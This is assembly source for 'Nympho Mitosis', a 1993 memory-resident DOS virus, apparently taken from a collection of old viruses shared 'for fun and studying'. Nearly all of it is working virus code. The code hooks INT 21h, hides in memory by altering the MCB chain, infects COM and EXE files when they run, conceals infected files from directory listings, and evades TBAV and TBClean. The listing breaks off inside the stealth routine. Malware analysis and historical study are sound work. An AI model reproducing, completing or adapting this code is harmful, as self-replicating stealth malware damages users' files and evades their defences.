nymphmit.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

       .model   tiny                                ;_ASSUME CS=DS=ES=SS
       .code                                        ;/
        org     100h                                ;Origin @ 100h (COM File)
                                                    ;
start:                                              ;Marks Start of Source
v_start:                                            ;Marks Start of Virus
        mov     bp,000h  ;<目 Constantly            ;** Get Rid of TBAV's
delta   equ     $-002h   ;<馁 Changing              ;** Flexible Entry Point
                                                    ;
        push    ds es                               ;Save Segments onto Stack
                                                    ;
        mov     ax,5D3Dh                            ;AX=5D3Dh / CHECKRESIDENT
        int     021h                                ;DOS Services
                                                    ;
        cmp     ax,003Dh                            ;Is the Virus Resident?
        je      restoreCOMEXEfile                   ;Jump if Equal/Zero
                                                    ;
        cwd                                         ;Load Register w/Zero
        mov     ds,dx                               ;DS=>Starting of INT Table
        xchg    di,dx                               ;Load Register w/Zero
                                                    ;
        lds     ax,dword ptr ds:[084h]              ;Load Far Pointer to DS:AX
        mov     word ptr cs:[bp+Int21hOffset],ax    ;Save Interrupt Offset
        mov     word ptr cs:[bp+Int21hSegment],ds   ;Save Interrupt Segment
                                                    ;
        mov     ax,es                               ;ES=PSP=AX
        dec     ax                                  ;Decrement for Last MCB
        mov     ds,ax                               ;AX=Last MCB=DS
                                                    ;
        cmp     byte ptr ds:[di+000h],05Ah          ;Is MCB Last in Chain?
        jne     restoreCOMEXEfile                   ;Jump if Not Equal/Zero
                                                    ;
        mov     byte ptr ds:[di+000h],04Dh          ;Mark MCB as NOT Last
        sub     word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d+001h
        sub     word ptr ds:[di+012h],(heap_end-v_start+100h+015d)/016d+001h
                                                    ;
        mov     ax,word ptr ds:[di+012h]            ;AX=Location of Virus MCB
                                                    ;
        mov     ds,ax                               ;DS=Location of Virus MCB
        inc     ax                                  ;Increment for Mem Loc
        mov     es,ax                               ;AX=Memory Location=ES
                                                    ;
        mov     byte ptr ds:[di+000h],05Ah          ;Mark MCB as Last in Chain
        mov     word ptr ds:[di+001h],008h          ;Mark DOS as Owner of MCB
        mov     word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d
                                                    ;
        push    cs                                  ;Push Segment onto Stack
        pop     ds                                  ;Restore into DS (CS=DS)
                                                    ;
        cld                                         ;Clear Direction Flag
        mov     di,100h                             ;DI=Location in Memory
        lea     si,[bp+v_start]                     ;SI=Source of Data
        mov     cx,(heap_end-v_start)/002h          ;CX=Number of Bytes
        rep     movsw                               ;Word @ DS:[SI]=>ES:[DI]
                                                    ;
        mov     ds,cx                               ;CX=000h=DS=Int Table
                                                    ;
        cli                                         ;Turn OFF Interrupts
        mov     word ptr ds:[084h],offset Int21Handler
        mov     word ptr ds:[086h],es               ;Location in Memory
        sti                                         ;Turn ON Interrupts
                                                    ;
restoreCOMEXEfile:                                  ;
        pop     es ds                               ;Restore Segments
                                                    ;
        mov     ax,5A4Dh                            ;AX=5A4Dh (MZ)
        lea     si,cs:[bp+host_bytes]               ;SI=Host_Bytes
                                                    ;
        cmp     ax,word ptr cs:[si+000h]            ;Is an EXE Our Host?
        je      restoreEXEfile                      ;Jump if Equal/Zero
                                                    ;
        xchg    ah,al                               ;Exchange Registers (ZM)
                                                    ;
        cmp     ax,word ptr cs:[si+000h]            ;Is an EXE Our Host?
        je      restoreEXEfile                      ;Jump if Equal/Zero
                                                    ;
restoreCOMfile:                                     ;
        mov     di,0FFh                             ;DI=Location in Memory
        inc     di                                  ;Increment for Real Loc
        push    di                                  ;Push DI onto Stack
        mov     byte ptr [di],0C3h                  ;** Here, we screw up
                                                    ;** the file _if_ TBClean
        call    di                                  ;** is being run. 
                                                    ;** Thanks LM!
        movsw                                       ;Word @ DS:[SI]=>ES:[DI]
        movsb                                       ;Byte @ DS:[SI]=>ES:[DI]
                                                    ;
        retn                                        ;Return to Host Program
                                                    ;
restoreEXEfile:                                     ;
        mov     ax,es                               ;ES=PSP=AX
                                                    ;
        add     ax,010h                             ;Skip One Segment for CS
        add     ax,word ptr cs:[si+016h]            ;Calculate Start of Prog
                                                    ;
        push    ax                                  ;Push New CS to Stack
        push    word ptr cs:[si+014h]               ;Push IP to Stack
                                                    ;
        retf                                        ;Return to Host Program
                                                    ;
        db      "[Nympho Mitosis] v1.0",000h        ;Le Nom du Virus
        db      "Copyright (c) 1993 Memory Lapse",000h
                                                    ;
Int21Handler:                                       ;
        cmp     ax,5D3Dh                            ;Is Virus Checking?
        jne     check_execute                       ;Jump if Not Equal/Zero
                                                    ;
        cbw                                         ;Convert AL to AX
                                                    ;
        iret                                        ;Interrupt Return
                                                    ;
check_execute:                                      ;
        cmp     ah,011h                             ;Are We Doing a DIR?
        je      _FCBStealth                         ;Jump if Equal/Zero
                                                    ; (DOS)
        cmp     ah,012h                             ;Are We Doing a DIR?
        je      _FCBStealth                         ;Jump if Equal/Zero
                                                    ; (DOS)
        cmp     ah,04Eh                             ;Are We Doing a DIR?
        je      _DTAStealth                         ;Jump if Equal/Zero
                                                    ; (4DOS)
        cmp     ah,04Fh                             ;Are We Doing a DIR?
        je      _DTAStealth                         ;Jump if Equal/Zero
                                                    ; (4DOS)
        push    ax bx cx dx di si ds es             ;Push Registers onto Stack
                                                    ;
        cmp     ax,6C00h                            ;Are We Extended Opening?
        je      __disinfectCOMEXEfile               ;Jump if Equal/Zero
                                                    ;
        cmp     ah,03Dh                             ;Are We Opening?
        je      _disinfectCOMEXEfile                ;Jump if Equal/Zero
                                                    ;
        dec     ax                                  ;** Get Rid of TBAV's
                                                    ;** Traps Loading of SW. 
        cmp     ax,4AFFh                            ;Are We Executing?
        je      _infectCOMEXEfile                   ;Jump if Equal/Zero
                                                    ;
_Interrupt21h:                                      ;
        pop     es ds si di dx cx bx ax             ;Restore Registers
                                                    ;
Interrupt21h:                                       ;
        db      0EAh,000h,000h,000h,000h            ;JMP FAR PTR SSSS:OOOO
                                                    ;
Int21hOffset    equ     $-004h                      ;Buffer for Int 21 Offset
Int21hSegment   equ     $-002h                      ;Buffer for Int 21 Segment
                                                    ;
_FCBStealth:                                        ;
        jmp     FCBStealth                          ;Unconditional Jump
                                                    ;
_DTAStealth:                                        ;
        jmp     DTAStealth                          ;Unconditional Jump
                                                    ;
_infectCOMEXEfile:                                  ;
        jmp     infectCOMEXEfile                    ;Unconditional Jump
                                                    ;
__disinfectCOMEXEfile:                              ;
        xchg    dx,si                               ;SI=File Name=>DX
                                                    ;
_disinfectCOMEXEfile:                               ;
        jmp     disinfectCOMEXEfile                 ;Unconditional Jump
                                                    ;
FCBStealth:                                         ;
        pushf                                       ;Push Flags to Top of Stck
        push    cs                                  ;Push Segment onto Stack
        call    Interrupt21h                        ;Simulate Interrupt
                                                    ;
        test    al,al                               ;Was There an Error?
        jnz     endFCBstealth                       ;Jump if Not Equal/Zero
                                                    ;
        push    es dx cx bx ax                      ;Push Registers onto Stack
                                                    ;
        mov     ah,051h                             ;AH=51h / GET PSP ADDRESS
        int     021h                                ;DOS Services
                                                    ;
        mov     es,bx                               ;BX=Address=ES
                                                    ;
        cmp     bx,word ptr es:[016h]               ;Is This a Parent PSP?
        jne     restoreFCBregisters                 ;Jump if Not Equal/Zero
                                                    ;
        mov     bx,dx                               ;DX=BX
        mov     al,[bx]                             ;Get First Byte of FCB
                                                    ;
        push    ax                                  ;Save Byte onto Stack
                                                    ;
        mov     ah,02Fh                             ;AH=2Fh / GET DTA ADDRESS
        int     021h                                ;DOS Services
                                                    ;
        pop     ax                                  ;Restore AX
                                                    ;
        inc     al                                  ;Is This an Extended FCB?
        jnz     checkFCBinfected                    ;Jump if Not Equal/Zero
                                                    ;
        add     bx,007h                             ;Convert to Normal FCB